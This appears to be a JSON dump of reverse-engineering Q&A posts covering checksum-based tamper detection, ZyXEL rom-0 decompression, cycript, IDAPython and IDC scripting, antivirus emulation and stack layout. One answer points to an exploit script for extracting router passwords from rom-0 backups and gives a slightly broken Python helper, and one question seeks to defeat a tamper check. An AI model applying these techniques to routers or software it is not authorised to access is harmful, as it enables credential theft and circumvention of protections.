        "Body": "<p>I am using ollydbg and a Hex editor. I confirmed that once the application is edited in any way it behaves different than normal.</p>\n\n<p>My first thought was that the file is checking the checksum value so I looked at the intermodular calls in olly and did not see anything about checksum. I was specifically looking for <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms680355%28v=vs.85%29.aspx\" rel=\"nofollow\">MapFileAndCheckSum</a></p>\n\n<p>But I am trying to reason this out, I am thinking that a checksum value has to be hard coded in the file so it can be compared to the actual checksum. So I am wondering from the developers point of view how is it possible to get the checksum value to be hard code when the application is not complete/compiled</p>\n\n<p>Which brings me to the question. What ways is there for an application to detect that it has been modified?</p>\n\n<p>------- EDIT ------- Additional Information ------</p>\n\n<p>I have been doing some testing and I have to say I'm baffled as to where the checksum value is being stored.</p>\n\n<ol>\n<li>There are no connections to the internet.</li>\n<li>Only one dll comes with the application (I extracted the installer files manually) the dll file is old and was last modified prior to the application. I even compared it to an earlier version of the application that did not have this checksum check and the dll is identical.</li>\n<li>I taught that maybe the checksum value would be entered in the registry by the installer so I extracted the .exe and .dll to a separate computer that has never used the installer. Changes are still being detected!</li>\n<li>It is definitely a checksum test, as I have changed a single byte of padding by from 00 to 20 and the change is detected. If I edit back to 00 to application performs normally.</li>\n</ol>\n\n<p>So now I am wondering would it be possible to calculate what the checksum is going to be before entering the hard coded checksum value? I do realize that the actual checksum value will change when changing the hard coded checksum value. I want to know if there is any method to predetermine a checksum value when hard coding and finding a match. Seems impossible but I cannot think of any other means considering the situation.</p>\n",
        "Title": "What ways is there for an application to detect that it has been modified?",
        "Tags": "|ollydbg|hex|",
        "Answer": "<p>MapFileChecksum is used to calculate the checksum of the executable that's stored in the IMAGE_OPTIONAL_HEADER structure using Microsoft's custom checksum. It's usually used to re-calculate the checksum value once the executable has been modified, since the windows kernel checks the checksum before it loads drivers and system files. But in case of your application, the application might be using any kind of checksum (crc32, adler, e.t.c.) or might even be using hash functions. So just breaking on MapFileChecksum might not be enough. Since it has to read it's own binary to calculate the checksum/hash, break on the file manipulation functions and go from there.</p>\n"
    },
    {
        "Id": "3662",
        "CreationDate": "2014-02-11T05:15:27.283",
        "Body": "<p>So I have this rom-0 file from Zyxel router P-660HW-T3 v3 and I would like to decompress it, I tried many tools, one of them <a href=\"http://git.kopf-tisch.de/?p=zyxel-revert;a=summary\" rel=\"nofollow\">you can find here</a> the tool using lzs for decompression which works for some rom-0 files (smaller ones around 16 kB), but on mine it does not, mine has around 50 kB and has few differences.Here is \"normal\" file </p>\n\n<pre><code>\n00000000  01 01 00 01 19 48 64 62  67 61 72 65 61 00 00 00  |.....Hdbgarea...|\n00000010  00 00 00 00 18 00 00 00  01 48 00 00 00 00 00 00  |.........H......|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000160  00 00 00 00 00 00 00 00  52 ca c0 ea de ad be af  |........R.......|\n00000170  00 00 00 0e 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000180  05 03 00 ad 52 c9 a4 e5  80 46 e7 50 ff ff a1 f4  |....R....F.P....|\n00000190  00 00 00 19 00 00 00 00  05 03 00 d4 52 c9 a4 e5  |............R...|\n000001a0  80 46 e7 50 ff ff 9e 08  00 00 00 64 80 09 89 ac  |.F.P.......d....|\n000001b0  04 03 00 d5 52 c9 bb 21  80 46 eb b8 ff ff a2 30  |....R..!.F.....0|\n000001c0  00 09 3a c9 00 00 00 00  04 03 00 d6 52 c9 bb 21  |..:.........R..!|\n000001d0  80 46 eb b8 ff ff a2 2f  00 09 3a c9 00 00 00 00  |.F...../..:.....|\n000001e0  04 03 00 d7 52 c9 ba 49  80 46 eb b8 ff ff a2 35  |....R..I.F.....5|\n000001f0  52 c9 ba 49 00 00 00 00  04 03 00 d8 52 c9 ba 49  |R..I........R..I|\n</code></pre>\n\n<p>and\n<pre><code>\n00000410  80 46 e7 50 ff ff 9e 08  00 00 00 64 80 09 8b 3c  |.F.P.......d...&#60;|\n00000420  55 55 55 55 00 00 00 00  00 00 00 00 00 00 00 00  |UUUU............|\n00000430  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000006d0  00 00 00 00 55 55 55 55  00 00 00 00 80 41 00 00  |....UUUU.....A..|\n000006e0  00 00 00 00 00 00 00 0e  00 00 00 00 00 00 00 01  |................|\n000006f0  00 00 00 00 ff ff ff fe  00 00 ff 14 00 00 00 01  |................|\n00000700  00 00 00 30 00 00 00 01  80 45 cc f0 00 00 00 01  |...0.....E......|\n00000710  00 00 00 01 00 00 00 63  80 41 4c 78 00 00 00 01  |.......c.ALx....|\n</pre></code>\nand\n<pre><code>\n00002000  02 94 00 03 1f fc 62 6f  6f 74 00 00 00 00 00 00  |......boot......|\n00002010  00 00 00 00 00 20 00 0c  01 48 73 70 74 2e 64 61  |..... ...Hspt.da|\n00002020  74 00 00 00 00 00 00 00  1a b0 13 52 01 68 61 75  |t..........R.hau|\n00002030  74 6f 65 78 65 63 2e 6e  65 74 00 00 01 f4 01 dc  |toexec.net......|\n00002040  1c 18 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00002050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n</pre></code>\nHere is mine \n<pre><code>\n00000000  01 01 00 01 00 00 19 48  64 62 67 61 72 65 61 00  |.......Hdbgarea.|\n00000010  00 00 00 00 00 00 00 00  18 00 00 00 00 00 00 00  |................|\n00000020  01 48 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.H..............|\n00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000150  00 00 00 00 00 00 00 05  00 00 00 01 00 00 00 02  |................|\n00000160  00 00 00 03 00 00 00 01  00 00 00 00 de ad be af  |................|\n00000170  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000180  03 03 00 30 38 6d 46 1a  00 00 00 18 ff ff a1 f4  |...08mF.........|\n00000190  00 00 00 01 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000001a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n000001b0  00 00 00 00 00 00 00 00  05 03 00 5c 38 6d 46 1a  |...........\\8mF.|\n000001c0  00 00 00 18 ff ff 9e 08  00 00 00 64 80 09 e0 5c  |...........d...\\|\n000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000001f0  05 03 00 32 38 6d 46 2a  00 00 00 20 ff ff a1 f4  |...28mF*... ....|\n00000200  00 00 00 03 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000220  00 00 00 00 00 00 00 00  04 03 00 5d 38 6d 46 2a  |...........]8mF*|\n00000230  00 00 00 20 ff ff a2 29  00 00 00 00 00 00 00 00  |... ...)........|\n00000240  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n</pre></code></p>\n\n<p><pre><code>\n00000ea0  04 03 00 2e 38 6d 45 ee  00 00 00 20 ff ff a1 f4  |....8mE.... ....|\n00000eb0  00 00 00 0b 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000ec0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00000ed0  00 00 00 00 00 00 00 00  04 03 00 59 38 6d 45 ee  |...........Y8mE.|\n00000ee0  00 00 00 20 ff ff a2 33  00 00 00 00 00 00 00 00  |... ...3........|\n00000ef0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000f10  04 03 00 5a 38 6d 45 ee  00 00 00 20 ff ff a2 2e  |...Z8mE.... ....|\n00000f20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000f40  00 00 00 00 00 00 00 00  03 03 00 5b 38 6d 45 f7  |...........[8mE.|\n00000f50  00 00 00 15 ff ff a5 fc  ff ff f4 47 80 9a e2 98  |...........G....|\n00000f60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000f80  55 55 55 55 00 00 00 00  00 00 00 00 00 00 00 00  |UUUU............|\n00000f90  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00001b90  00 00 00 00 55 55 55 55  00 00 00 00 ff ff ff ff  |....UUUU........|\n00001ba0  00 00 00 02 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n</pre></code></p>\n\n<p><pre><code>\n00001fd0  80 7a 00 00 bf c0 5f 90  80 66 00 00 00 00 00 00  |.z...._..f......|\n00001fe0  80 5e 05 b4 80 40 11 c8  00 00 00 00 00 00 00 00  |.^...@..........|\n00001ff0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00002000  02 c8 00 03 00 00 9f fc  62 6f 6f 74 00 00 00 00  |........boot....|\n00002010  00 00 00 00 00 00 00 00  00 20 00 00 00 0c 00 00  |......... ......|\n00002020  01 48 73 70 74 2e 64 61  74 00 00 00 00 00 00 00  |.Hspt.dat.......|\n00002030  00 00 9a b0 00 00 3f 6c  00 00 01 68 61 75 74 6f  |......?l...hauto|\n00002040  65 78 65 63 2e 6e 65 74  00 00 00 00 01 f4 00 00  |exec.net........|\n00002050  01 52 00 00 9c 18 00 00  00 00 00 00 00 00 00 00  |.R..............|\n00002060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n</pre></code></p>\n\n<p><pre><code></p>\n\n<p></pre></code></p>\n\n<p>I separated some parts of the files as u may see above, so what Binwalk says on \"normal\" file</p>\n\n<pre><code>\n$ binwalk rom-0\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n------------------------------------------------------------------------------------------------------------------------------------------------------\n0             0x0             ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 6144, data offset from start of block: 344\n8212          0x2014          ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 4946, uncompressed size: 6832, data offset from start of block: 376\n8232          0x2028          ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 476, uncompressed size: 500, data offset from start of block: 7208\n</code></pre>\n\n<p>and what on mine</p>\n\n<pre><code>\n$ binwalk rom-4.51 \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n------------------------------------------------------------------------------------------------------------------------------------------------------\n2             0x2             ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 6144, uncompressed size: 0, data offset from start of block: 16\n7319          0x1C97          LZMA compressed data, properties: 0xD0, dictionary size: 33554432 bytes, uncompressed size: 31360 bytes\n8220          0x201C          ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 39600, uncompressed size: 0, data offset from start of block: 16\n8246          0x2036          ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 500, uncompressed size: 0, data offset from start of block: 16\n</code></pre>\n\n<p>LZMA header is \"incorrect\" it cant be decompressed, maybe its modified do not know, so file has dbgarea, spt.dat, autoexec.net standard block but is it comoressed with \"modified\" lzs can u tell ?</p>\n\n<blockquote>\n  <p><a href=\"http://www.hakim.ws/huawei/rom-0/kender.html\" rel=\"nofollow\">Here</a> are some notes from RE of \"old\" rom-0 </p>\n</blockquote>\n\n<hr>\n\n<p>so I see that righnt now there \"is no help\" so I will post whole file so u can see whole picture </p>\n\n<p>Heh I have limitation to 30000 chars so here is link of file \n<a href=\"http://pastebin.com/2X00B6rJ\" rel=\"nofollow\">http://pastebin.com/2X00B6rJ</a> Can any one help me to \"reveal\" what they did (changed) to lzs compresion, I asume its lzs</p>\n\n<p>Many tnx in advice, cheers</p>\n",
        "Title": "backup from ZynOS but, can not be decompressed with LZS",
        "Tags": "|static-analysis|unpacking|",
        "Answer": "<p>it's compressed with LZS ( Lempel-Ziv-Stack ). </p>\n\n<p>I was trying to do the password extraction the pythonic way, it's enought to take a look at this shell script and small piece of c code:</p>\n\n<p><a href=\"https://github.com/MrNasro/scripts/blob/master/exploits/rom0x/\" rel=\"nofollow\">shell + C solution</a></p>\n\n<p><a href=\"https://gist.github.com/FiloSottile/4663892\" rel=\"nofollow\">way of extraction LZS with python</a></p>\n\n<p>and to replace 'dd' usage in same python script:</p>\n\n<pre><code>    def romcutter(fname):\n        import sys\n        fpos=8568\n        fend=8788\n        fhandle=file(fname)\n        fhandle.seek(fpos)\n        chunk=\"*\"\n        amount=221\n        while fpos &lt; fend:\n            if fend-fpos &lt; amount:\n                amount = fend-fpos\n                chunk = fhandle.read(amount)\n                fpos += len(chunk)\n                return chunk\n</code></pre>\n\n<h2>take rom-0, cut it with cutter, and extract result LZS....</h2>\n"
    },
    {
        "Id": "3668",
        "CreationDate": "2014-02-12T17:11:23.043",
        "Body": "<p>I recently found out about a tool called cycript that apparently does runtime analysis of binaries written with Objective-C.  I have a Mac OS X binary that is compiled as x86_64 and is intended to run on Intel Macs.  I know cycript is intended to for iOS applications but I wouldn't mind using it on this binary to poke around and see what is going on inside the binary.  Most instructions I see for cycript state to start off with UIApp, and then investigating further objects from there.</p>\n\n<p>My problem is when I try to investigate UIApp with cycript I get the following error message,</p>\n\n<p><code>ReferenceError: hasProperty callback returned true for a property that doesn't exist.</code></p>\n\n<p>I am assuming I am getting this error message because the binary does not have a UIApp class / method in it because it is a Mac OS X binary and not an iOS.</p>\n\n<p>Where would be a good starting point for using cycript with a Mac OS X binary?</p>\n",
        "Title": "How to use cycript to investigate a mach-o x86_64 binary?",
        "Tags": "|osx|",
        "Answer": "<p><code>UIApp</code> is a shorthand for <code>[UIApplication sharedApplication]</code>.</p>\n\n<p>As this is not an iOS app, but an OS X app you need to use <code>[NSApplication sharedApplication]</code> instead.</p>\n"
    },
    {
        "Id": "3669",
        "CreationDate": "2014-02-12T17:49:51.747",
        "Body": "<p>What is the best method to enumerate all xrefs to addresses in a particular segment? I came up with a brute-force approach (as seen below). The code scans each address in a segment and checks for an XrefTo the address. </p>\n\n<pre><code>seg_list = []\nfor seg in Segments():\n    seg_list.append(seg)\n\n# logic will be added to remove section that are code later\nseg_list.reverse()\nfor seg in seg_list:  \n    start = SegStart(seg)\n    end = SegEnd(seg)\n    while start &lt; end:\n        gen_xrefs = XrefsTo(start, 0)\n        for xx in gen_xrefs:\n            print hex(start), hex(xx.frm)\n        start += 1\n</code></pre>\n\n<p>This approach is very time consuming if I have multiple large segments. IDA adds <code>DATA XREF</code> comments when viewing the data manually. Are these xrefs stored in an accessible way from IDAPython or is there another more practical approach to find the xrefs to a segment? </p>\n\n<pre><code>mem_15d:00973000                 dd 1C8h dup(0)\nmem_15d:00973720 dword_973720    dd 101011Ch, 1000h      ; DATA XREF: mem_f08:00970678o\nmem_15d:00973728 off_973728      dd offset off_970178    ; DATA XREF: mem_f08:off_970178o\nmem_15d:00973728                                         ; mem_f08:0097017Co \n</code></pre>\n\n<p><em>Note: Enumerating all xrefs from the code is not an option.</em> </p>\n",
        "Title": "Enumerate all XefsTo a Segment in IDAPython",
        "Tags": "|idapython|",
        "Answer": "<p>You can use Heads function from idautils module.\nSo your code will look like that:</p>\n\n<pre><code>import idautils\nseg_list = []\nfor seg in Segments():\n    seg_list.append(seg)\n\n# logic will be added to remove section that are code later\nseg_list.reverse()\nfor seg in seg_list:  \n    start = SegStart(seg)\n    end = SegEnd(seg)\n    for ea in idautils.Heads(start, end):\n        gen_xrefs = XrefsTo(ea, 0)\n        for xx in gen_xrefs:\n            print hex(ea), hex(xx.frm)\n</code></pre>\n"
    },
    {
        "Id": "3676",
        "CreationDate": "2014-02-13T07:20:17.697",
        "Body": "<p>The control flow graph below is from a single function in Notepad (Win7 64-bit). Why is the linker (or the compiler) separating the basic blocks of a single function into multiple, discontinuous ( not contiguous )  chunks?</p>\n\n<p><img src=\"https://i.stack.imgur.com/GM19m.png\" alt=\"Function CFG\"> </p>\n",
        "Title": "Chunked function (discontinuous chunks of code comprising a function)",
        "Tags": "|c|compilers|",
        "Answer": "<p>DCoder already referenced <a href=\"https://reverseengineering.stackexchange.com/a/3169/245\">his own answer</a> in a comment.</p>\n\n<p>The chunks in the control flow graph are usually referred to as basic blocks or extended basic blocks. The reason why they are being reordered has to with <a href=\"http://en.wikipedia.org/w/index.php?title=Optimizing_compiler&amp;oldid=592712045#Other_optimizations\" rel=\"nofollow noreferrer\">optimizations performed by the compiler</a>.</p>\n\n<p>There are several terms for what you are asking about:</p>\n\n<ul>\n<li>function chunking</li>\n<li>basic block reordering</li>\n<li>partition interleaving</li>\n</ul>\n\n<p>I strongly suggest that if you are interested in this topic, you read up on compiler design. In particular I would suggest reading \"the dragon book\" (\"Compilers - Principles, Techniques, &amp; Tools\" by Aho, Lam, Sethi and Ullman) and there the parts about optimization. Here I refer to the second edition from 2007 (ISBN: 0-321-48681-1).</p>\n\n<p>Check out the sections 8.4 (\"Basic Blocks and Flow Graphs\") and 8.5 (\"Optimization of Basic Blocks\") and in the latter 8.5.7 (\"Reassembling Basic Blocks From DAGs\"). But that's only the beginning. Chapter 9 is equally important as a whole and so is section 11.10 (\"Locality Optimizations\"). Quoting one of the reasons for the kind of optimization you're asking about from the introductory paragraph of the subsection on partition interleaving:</p>\n\n<blockquote>\n  <h2>11.10.3 Partition Interleaving</h2>\n  \n  <p>Different partitions in a loop often read the same data, or read and write the same cache lines. [...]</p>\n</blockquote>\n\n<p>quoted from <strong>\"Compilers - Principles, Techniques, &amp; Tools\"</strong> by Aho, Lam, Sethi and Ullman.</p>\n\n<p>This boils down to what DCoder has already mentioned in his/her comment to your question.</p>\n\n<p>Oh and the book <strong>\"Reversing: Secrets of Reverse Engineering\"</strong> is also a good read that discusses this in part. However, it's more focused on the \"how does it look\" than the \"why is it done\".</p>\n"
    },
    {
        "Id": "3677",
        "CreationDate": "2014-02-13T08:52:06.807",
        "Body": "<p>Antiviruses and similar analysis engines often face the problem of identifying whether the file is harmful. They often do so with the use of (partial)emulation and as a result often fall prey to the tricks (anti-emulation) used by the binary.Is it possible to emulate a binary to such an extent that it becomes impossible for it to identify whether it is running in a virtual environment? </p>\n",
        "Title": "Why is true emulation not possible?",
        "Tags": "|binary-analysis|emulation|",
        "Answer": "<h1>The question is wrongly placed</h1>\n\n<p>You are asking the wrong question. Literally. The question is by no means why it isn't possible (it <em>is</em> possible in many cases). The better question is: <strong>why it isn't practical?</strong></p>\n\n<p>It's interesting to ask it, nevertheless.</p>\n\n<h2>Why not use hardware assisted virtualization?</h2>\n\n<p>For starters I've had arguments in the past with certain colleagues (I work in the AV industry) and tried to get across that in certain hardware virtualization methods you gain speed without losing security compared to own emulation implementations. Some of these colleagues held that malware must never we executed natively on a machine without an air gap. Personally I consider this a questionable statement because of the existing proliferation of malware and because todays hardware virtualization features offer (near-)native execution anyway. But I guess it's a matter of taste and politics in the end.</p>\n\n<p>Aside from that you'll have to have privileged access to the system in order to control the hypervisor. This may be fine in the context of a file system filter, which runs in kernel mode, but will not be an option in other purely user mode scenarios (like a command line scanner).</p>\n\n<p>And then you have only \"emulated\" the machine, not the (operating system) environment in which the harmless or malicious code would normally be running.</p>\n\n<h2>Speed matters in AV</h2>\n\n<p>However, concerning the practicality the problem mostly boils down to speed. If you consider that AV file system filters scan every object at least once, that's a lot.</p>\n\n<p>Now the AV engines will usually try to make sure that there are static unpackers for certain executable packers so that this won't have to be emulated and so on. There are also other heuristics and static methods in place before it gets down to emulation.</p>\n\n<p>But still in this case there will be a sizable fraction of the overall scanned files that will have to be emulated, even if just in part. Since emulation is usually at least an order of magnitude slower than native execution, this adds up quickly, even if only parts of the overall code get emulated in the end.</p>\n\n<h2>Which system to emulate?</h2>\n\n<p>Now this seems to be an easy one at surface. Always emulate the one on which you're running.</p>\n\n<p>The problem then becomes how to put a whole OS installation into your engine. Now you may counter: \"why don't you use the libraries of the OS you're running on\", to which I will respond that this works only for this particular use case above. But how do I emulate Win32 APIs when running on a PowerPC under AIX? Or in your Android phone on an ARM processor?</p>\n\n<p>Our scanners are expected to run across a variety of operating systems and processor architectures and that limits what's possible while maintaining the necessary speed when scanning files/objects.</p>\n\n<h2>How closely should the emulator follow the real environments' behavior?</h2>\n\n<p>If you have ever tried <a href=\"http://reactos.org/\">ReactOS</a> - an open source project that aims to reimplement the binary interfaces of Windows XP and 2003 Server true to the last detail - with anything but the stuff that comes on the CD image, you'll know that it has all kinds of glitches. <a href=\"http://www.winehq.org\">Wine</a> as well has a lot of glitches (ReactOS and Wine share a lot of code).</p>\n\n<p>AV emulation usually takes many more shortcuts than Wine, because a lot of the functionality isn't required. Let a function succeed or fail and it's fine. The problem is in the very fine details of the Win32 API. And there are loads of those.</p>\n\n<h2>Windows 95, 98, Me, NT 4, 2000, XP, 2003, Vista, 2008, 7, 2008 R2, 8, 2012, 8.1, 2012 R2</h2>\n\n<p>... and then you should care for Linux and Mac malware, too? And what about other circumstances like certain hardware configurations (think Stuxnet and how it was \"tied\" to certain USB keys).</p>\n\n<p>Basically if you \"emulate\" an executable to find certain indicators for maliciousness or goodness your requirements are different from when you emulate a whole operating system or a machine on which you can run the operating system as if it ran on real hardware.</p>\n\n<h2>Conclusion: an approximation is enough</h2>\n\n<p>So an approximation of the real environment is usually enough. Besides you should keep in mind that many of the evasion attempts themselves can be detected, are suspicious and will raise flags.</p>\n"
    },
    {
        "Id": "3682",
        "CreationDate": "2014-02-14T00:04:54.897",
        "Body": "<p>Test platform is Linux 32 bit, ELF file, GNU coreutils.</p>\n\n<p>Basically I am trying dump all the functions using IDC script, here is part of my IDC script:</p>\n\n<pre><code>for (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {\n    name = Name(addr);\n    end = GetFunctionAttr(addr, FUNCATTR_END);\n    locals = GetFunctionAttr(addr, FUNCATTR_FRSIZE);\n    frame = GetFrame(addr);\n    ret = GetMemberOffset(frame, \" r\");\n    if (ret == -1) continue;\n    firstArg = ret + 4;\n    args = GetStrucSize(frame) - firstArg;\n\n    dumpFunction(name, addr, end);\n}\n</code></pre>\n\n<p>I am using it to test GNU coretuils, and I find some functions like </p>\n\n<pre><code>            public qset_acl\n            qset_acl        proc near\n\n            jmp     chmod_or_fchmod\n            qset_acl        endp\n</code></pre>\n\n<p>which can not be found by this script.</p>\n\n<p>Am I doing something wrong? Could any one give me some help?</p>\n\n<p>Thank you!</p>\n",
        "Title": "Why this IDC script can not find all the functions?",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>The stack frame structure is not created unless necessary (i.e. the function accesses a stack argument or local variable), so these stub functions get skipped by your <code>(ret == -1)</code> check.</p>\n"
    },
    {
        "Id": "3683",
        "CreationDate": "2014-02-14T02:25:11.427",
        "Body": "<p>I have de-assembled a x86 application use ida, it generates\nthe following code</p>\n\n<pre><code>.text:1084FF10                 push    ebp\n.text:1084FF11                 mov     ebp, esp\n.text:1084FF13                 and     esp, 0FFFFFFF8h\n.text:1084FF16                 sub     esp, 0D4h\n.text:1084FF1C                 mov     eax, ___security_cookie\n.text:1084FF21                 xor     eax, esp\n</code></pre>\n\n<p>What does the instruction \"and esp, 0FFFFFFF8h\" do here?</p>\n",
        "Title": "understanding the stack",
        "Tags": "|ida|assembly|x86|",
        "Answer": "<p>This aligns the stack pointer to 8 byte boundary. This is done by the compiler to improve performance, as reads from non-aligned addresses results in performance degradation.</p>\n"
    },
    {
        "Id": "3686",
        "CreationDate": "2014-02-14T23:41:31.530",
        "Body": "<p>On Linux 32 bit, I use IDA Pro + IDC script to dump all the functions. Here is part of the script:</p>\n\n<pre><code>addr = 0;\nfor (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {\n    name = Name(addr);\n    end = GetFunctionAttr(addr, FUNCATTR_END);\n    Message(\"%s:\\n\", name);\n\n    dumpFunction(name, addr, end);\n}\n</code></pre>\n\n<p>Certain functions, like <code>close_stdin</code> defined in GNU coreutils static library, can not be found in this script but I can find those functions in <code>File-&gt;Produce File-&gt;Create ASM File...</code></p>\n\n<p>Is there something wrong with my script? Can I use it to find out all the functions?</p>\n",
        "Title": "Why I can not find all the functions using this IDC script?",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>Your script is OK. IDA possibly doesn't recognize your function as a function during auto-analysis and that's a possible problem.\nIf you will go to the address of this function in IDA pro, press P in disassembly view on this address and rerun the script you'll possibly have your function dumped.</p>\n\n<p>There is a very incorrect solution for this problem (incorrect means that it is not always provide good/correct results).\nIf you will pass on any non-function area and create functions automatically with the script below everything that was not defined as function before will be dumped with your script, but I'm not sure for correctness of these results. </p>\n\n<pre><code>#I didn't check this code, run on your own risk, \n#use carefully, beware errors\n\nimport idaapi\nimport idc\n\nsegm = idaapi.get_segm_by_name(\".text\")\nstart = segm.startEA\nend = segm.endEA\n\nwhile start &lt; end:\n\n  start = idaapi.find_not_func(start, 1)\n  print \"Attempt to create function at\", hex(start)\n  idc.MakeFunction(start)\n\n  start += 1 # for a case of any error \n</code></pre>\n"
    },
    {
        "Id": "3694",
        "CreationDate": "2014-02-16T20:21:46.203",
        "Body": "<p>So basically I use a IDC script to dump the instructions one by one using IDA Pro 6.1, windows 32 bit. PE file format</p>\n\n<p>I use try to dump one opcode instructions like </p>\n\n<pre><code>stosd\nstosb\nstosq\nmovsd\n</code></pre>\n\n<p>in this way:</p>\n\n<pre><code>for (addr = funcStart; addr != BADADDR; addr = NextHead(addr, funcEnd)) {\n ......\nauto code;\nline = GetDisasm(addr);\nmnem = GetMnem(addr);\n.......\nif (strstr(line, mnem) != 0) {\n        mnem = line;\n}\nline = form(\"%-8s\", mnem);\n</code></pre>\n\n<p>But to my surprise, when meets one opcode instructions like those, <strong>mnem</strong> get things like</p>\n\n<pre><code>stos\nstos\nstos\nmovs\nmovs\nmovs\n</code></pre>\n\n<p>By checking the directly dumped asm file ** File->Produce File->Create ASM File...**, I find those error instructions should be </p>\n\n<pre><code>stosd\nstosd\nstosd\nmovsd\nmovsd\nmovsd\n</code></pre>\n\n<p>Which means the results API GetMnem generated is wrong...</p>\n\n<p>Could anyone give me some help? THank you! </p>\n",
        "Title": "Why the API GetMnem can not deal with instructions like \"stosd\", \"movsd\" in IDA Pro?",
        "Tags": "|ida|",
        "Answer": "<p>If you take a look at the specific opcodes for those instructions, they are the same.\nTo be more precise, \"stos m8\" and stob have the same opcode (0xAA) as do \"STOS m16\" , \"STOS m32\", \"STOSW\" and \"STOSD\" (0xAB). To quote the manual:</p>\n\n<blockquote>\n  <p>At the assembly-code level, two forms of this instruction are allowed: the \"explicit-operands\" form and the \"no-operands\" form. The explicit-operands form (specified with the STOS mnemonic) allows the destination operand to be specified explicitly. Here, the destination operand should be a symbol that indicates the size and location of the destination value. The source operand is then automatically selected to match the size of the destination operand (the AL register for byte operands, AX for word operands, and EAX for doubleword operands). This explicit-operands form is provided to allow documentation; however, note that the documentation provided by this form can be misleading. That is, the destination operand symbol must specify the correct type (size) of the operand (byte, word, or doubleword), but it does not have to specify the correct location. The location is always specified by the ES:(E)DI registers, which must be loaded correctly before the store string instruction is executed.</p>\n</blockquote>\n\n<p>And from the <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/274.shtml\">GetMnem</a> documentation:</p>\n\n<blockquote>\n  <p>note: this function may not return exactly the same mnemonics\n  as you see on the screen.</p>\n</blockquote>\n"
    },
    {
        "Id": "3701",
        "CreationDate": "2014-02-17T17:05:51.803",
        "Body": "<p>Whenever I attach a process in OllyDbg v1.10 on my Windows 7 64-bit machine, I notice that the first saved EBP on the stack doesn't point to the very base of the stack. Instead it points 16 bytes before it.</p>\n\n<p>To illustrate what I mean, see the following screenshot:\n<img src=\"https://i.stack.imgur.com/VYfxb.png\" alt=\"screen-shot of OllyDbg stack window\"></p>\n\n<p>The EBP (highlighted in gray), which is right above the <code>RETURN to ntdll.76FC9F45</code>, is pointing to <code>1B05FFEC</code>. Note that this address ends with <strong><code>EC</code></strong>, not <code>FC</code>.</p>\n\n<p><strong>Question 1:</strong> Why isn't the EBP pointing to <code>1B05FFFC</code>?</p>\n\n<p><strong>Question 2:</strong> What do the first 16 bytes on the stack represent?</p>\n\n<p><strong>Question 3:</strong> Is the number of bytes (16), which are between <code>StackBase</code> and the address to where the first <code>EBP</code> points to, fixed for Windows OSs?</p>\n",
        "Title": "What do the first 16 bytes on the stack represent?",
        "Tags": "|windows|ollydbg|debuggers|x86|callstack|",
        "Answer": "<blockquote>\n  <p><strong>Question 1:</strong> Why isn't the EBP pointing to <code>1B05FFFC</code>?</p>\n</blockquote>\n\n<p>Because <code>1B05FFFC</code> is not the base address of the stack frame.</p>\n\n<p>The only reason that OllyDbg shows <code>1B05FFFC</code> as the last address in the stack-view is that it's the address of the last DWORD in the stack's memory page.</p>\n\n<blockquote>\n  <p><strong>Question 2:</strong> What do the first 16 bytes on the stack represent?</p>\n</blockquote>\n\n<p>It depends on the debugger.</p>\n\n<p>For example, from my limited testing...</p>\n\n<p>When attaching WinDbg to a 32-bit EXE on Windows 7 x64, <code>[ESP]</code> is the return address back into <code>ntdll!DbgUiRemoteBreakin</code> from the call to <code>ntdll!DbgBreakPoint</code>.</p>\n\n<p>When attaching OllyDbg v2.01 to a 32-bit EXE on Windows 7 x64 or Windows 7 x86, the debugger suspends the debuggee in the middle of an executing debuggee thread, so the value of <code>ESP</code> is whatever <code>ESP</code> was in the debuggee's thread at the moment OllyDbg attached to it.</p>\n"
    },
    {
        "Id": "3704",
        "CreationDate": "2014-02-17T19:39:57.633",
